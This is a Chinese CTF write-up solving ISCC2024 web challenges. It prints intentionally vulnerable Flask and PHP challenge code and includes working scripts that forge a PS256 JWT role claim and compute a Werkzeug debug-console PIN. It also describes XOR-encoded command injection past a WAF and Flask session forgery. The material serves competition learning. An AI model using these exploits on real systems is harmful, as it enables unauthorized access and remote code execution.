ISCC2024-web-wp
没啥事干,打着玩玩。
练武题
还没想好名字的塔防游戏
打了半天啥也没有,下载源码直接搜:
牛逼。
结合提示,猜出加上页面那个一起字母大写刚好十八位:
ISCC{MDWTSGTMMSSSPFRMMM}
代码审计
[De1ctf 2019]SSRF Me原题:[De1ctf 2019]SSRF Me(哈希拓展攻击)-CSDN博客
进去就看到源码:
#! /usr/bin/env python # encoding=utf-8 from flask import Flask from flask import request import hashlib import urllib.parse import os import json app = Flask(__name__) secret_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if self.checkSign(): if "scan" in self.action: resp = scan(self.param) if resp == "Connection Timeout": result['data'] = resp else: print(resp) self.append_to_file(resp) result['code'] = 200 if "read" in self.action: result['code'] = 200 result['data'] = self.read_from_file() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if get_sign(self.action, self.param) == self.sign: return True else: return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.parse.unquote(request.args.get("param", "")) action = "scan" return get_sign(action, param) @app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.parse.unquote(request.cookies.get("action")) param = urllib.parse.unquote(request.args.get("param", "")) sign = urllib.parse.unquote(request.cookies.get("sign")) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt", "r").read() def scan(param): try: with open(param, 'r') as file: content = file.read() return content except FileNotFoundError: return "The file does not exist" def md5(content): return hashlib.md5(content.encode()).hexdigest() def get_sign(action, param): return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest() def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run()
param给ban了gopher和file,逻辑也很简单,scan就可以读flag,我们只需要先访问geneSign路由拿一下前面flag.txtread的前面,再cookie传readscan拼接然后checksign就完了:
原神启动
查看源码,一搜有个解码:
flag.txt那个是假flag。
垃圾题,真的无聊。
Flask中的pin值计算
查看源码拿到路由:
一眼西湖论剑2024初赛。
改了一点点,问啥都是重复,测了下没有SQL注入,没有SSTI,直接问告诉我username,返回个东西:
输入appname:
访问路由:
一眼写脚本。
get_expression那里提取出表达式,然后梭就完了。
但因为有乘除,所以算出来有问题,当它只给加减的时候就出了:
import requests import json def calculate_expression(expression): try: result = eval(expression) return result except Exception as e: print("An error occurred while evaluating the expression:", str(e)) return None def send_answer(url, answer): try: response = requests.get(url + "?answer=" + str(answer)) if response.status_code == 200: print("Answer sent successfully.") return response.text else: print("Failed to send answer. Status code:", response.status_code) return None except Exception as e: print("An error occurred:", str(e)) return None expression_url = "http://101.200.138.180:10006/get_expression" submit_url = "http://101.200.138.180:10006/crawler" response = requests.get(expression_url) if response.status_code == 200: expression_data = json.loads(response.text) expression = expression_data['expression'] print("Expression:", expression) result = calculate_expression(expression) if result is not None: print("Result:", result) response_text = send_answer(submit_url, result) if response_text: print("Response from server:", response_text) else: print("Failed to retrieve expression. Status code:", response.status_code)
app.py位置:
/usr/local/lib/python3.11/site-packages/flask/app.py
<h1>uuidnode_mac位于/woddenfish</h1>
拿到了app.py位置和mac位置:
访问/woddenfish:
查看源码:
有个jwt,解一下:
猜测密钥是上面的
ISCC_muyu_2024
还真是,参考VNCTF2023的木鱼直接改:
抓包改包:
mac地址:
02:42:ac:18:00:02
记得最后十六进制转二进制。
访问/machine_id拿机器码:
member点不了,supervip说身份不匹配,应该有个越权。
点VIP:
还来jwt?
显然要改role为vip。
这道也是个我buu做过的原题,但是忘了是哪个。
from json import loads, dumps from jwcrypto.common import base64url_encode, base64url_decode def topic(topic): [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload["role"] = "vip" #parsed_payload["iat"] = "1715241594" #parsed_payload["exp"] = "1715241594" #parsed_payload["jti"] = "1715241594" print(dumps(parsed_payload, separators=(',', ':'))) fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) print(fake_payload) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} ' print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTUyNDE1OTQsImlhdCI6MTcxNTIzNzk5NCwianRpIjoiZWlZYWNSRGJreG1EOVAzZXd0dzZfQSIsIm5iZiI6MTcxNTIzNzk5NCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.wwrs_3PZSgrcUszGklSIAOnMYZLLaly68-1kpPYSPt04XkTpOugwb08vadVPJZZGXKZ0qMz9M66sUzBLH-DD5Bt6pdQ6Claz1I8dl3KIbwY5cL4OXr-Ez7zjLXfER3Cy3rPeXaQyATnPfYgN83uctFgCcJtuDFIgkPaHrl8LNq7nvCFc-Yzze6FPHqrOPORHdIYmPinwO0f1MSbroHwnLGknw060XYC1C_6qUOIPBp85XNG0_Y2q7-MT3NV8zU0Ua58oRXA4gFu3chGjUIL7X6uGeTkK7tVQNyxE3nHyG2AITlAHO7nlaMVj6U5V4tc4dfOYHogCDConAyuQfmQODg'))
伪造后强制url编码,发包:
返回了
session=eyJyb2xlIjoidmlwIn0.Zjx2GA.rzWdRdAOXXoD9JEPhOmcHjEhBgg "welcome_to_iscc_club"
猜测flask_cookie解密,给的是密钥:
直接伪造supervip完事:
再去点supervip,发包改session:
machine_id:
"acff8a1c-6825-4b9b-b8e1-8983ce1a8b94"
开始算pin:
import hashlib import getpass from flask import Flask from itertools import chain import sys import uuid import typing as t username='pincalculate' #/etc/passwd app = Flask(__name__) modname= getattr(app, "__module__", t.cast(object, app).__class__.__module__) mod=sys.modules.get(modname) mod = getattr(mod, "__file__", None) probably_public_bits = [ username, #用户名 modname, #一般固定为flask.app getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask '/usr/local/lib/python3.11/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径 ] print(probably_public_bits) mac ='02:42:ac:18:00:02'.replace(':','')#/sys/class/net/eth0/address mac=str(int(mac,base=16)) private_bits = [ mac,#mac地址十进制 "acff8a1c-6825-4b9b-b8e1-8983ce1a8b94" #/etc/machine-id /proc/self/cgroup ] print(private_bits) h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv=None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print(rv)
用的SHA1,没用SHA256。
访问console:
什么懒狗出题人😓,动态环境都不搞,py比赛名不虚传。
掉进阿帕奇的工资
打开一个网站,登录和注册,先注册一个号,但是登录只会回显不让登。
SQL注入也失败了。
试了半天 ,猜测应该要用它的信息重置把manager密码改了才能登。
但重置不知道邮箱,应该是用密保重置。
想起来注册页面有个不能填的职称,f12发现也不能直接改,但我们可以抓包加上它这个job参数,设置为manager:
直接去重置密码:
勾使,换成admin试试:
没事了。
用这个密码去登号,其他位置都没啥,在工资这个位置发现疑似能RCE的地方:
随便乱输:
开始没想到规律,去计算机试了试:
异或得到结果。
试试whoami和22:
好好好,EZ是吧,因为是异或,我们直接EZ ^ 22就得回了whoami:
只截取了前两位?🤔
ls试一波:
游戏基本结束了。
但是这里有waf,所以直接读不了。
经过测试很多都用不了,包括 /和空格这些。读根目录需要先异或然后在直接看:
???flag呢???
实在没辙,more还可以用看看dockerfile(这里写的是Docfile):
咋还有个secret.host的container?
那就猜一手里面有flag,但是flag被ban了,我们就先拿去异或,然后直接梭。
但是咋读呢?curl和wget都没有(我勒个豆),因为用的nginx服务器部署的,应该可以走http协议,听别人说php原生环境可读,但是现在好像给修了。
擂台题
狂飙
吃鱼直接进源码:
<?php include("./2024ISCC.php"); // 欢迎大家来到ISCC,本题大家将扮演《狂飙》中的警察,寻找关键证据,抓捕犯罪嫌疑人。 $code = file_get_contents(__FILE__); highlight_string($code); class police { public $work; public $awarding = "salary"; public function __construct($a) { $this ->work = $a; } public function __destruct() { echo "我是一名人民警察,打击违法犯罪义不容辞<br>"; $this-> work = new suspect(); echo $this-> work -> evidence_video; echo $this-> work -> evidence_fingerprint; } } class suspect { private $video; private $fingerprint; public function __get($name) { if($name == "evidence_video") { echo "property.transactions怎么可能这么容易获得呢?<br>"; } else { echo "blood.fingerprint怎么可能这么容易获得呢?<br>"; } } public function __toString() { $this -> video = "property.transactions"; $this -> fingerprint = "blood.fingerprint"; return "差点就让你获得证据了<br>"; } } class tools { public $object; private $camera = 0; private $technology = 0; public function __construct() { echo "使用camera和technology可以找到蛛丝马迹<br>"; } public function __invoke() { $this -> camera = 1; $this -> technology = 1; echo $this->object; } } function filter($name) { $safe = "evil"; $name = str_replace($safe, "light", $name); return $name; } if (isset($_GET["evidence"])) { $a = filter(serialize(new police($_GET["evidence"]))); echo $a; global $tips; if((strpos($a, $tips) !== false) && unserialize($a) -> awarding == "pennant") { global $flag; echo $flag; } } ?>
反序列化键值逃逸。
最喜欢的一集
ban得挺多,但是没ban eval、ls,字符没ban" ' ; / ( )而且只是把${}里限制了不能放字母,所以直接:
通配符*没了,所以要先ls /看名字,nl直接读: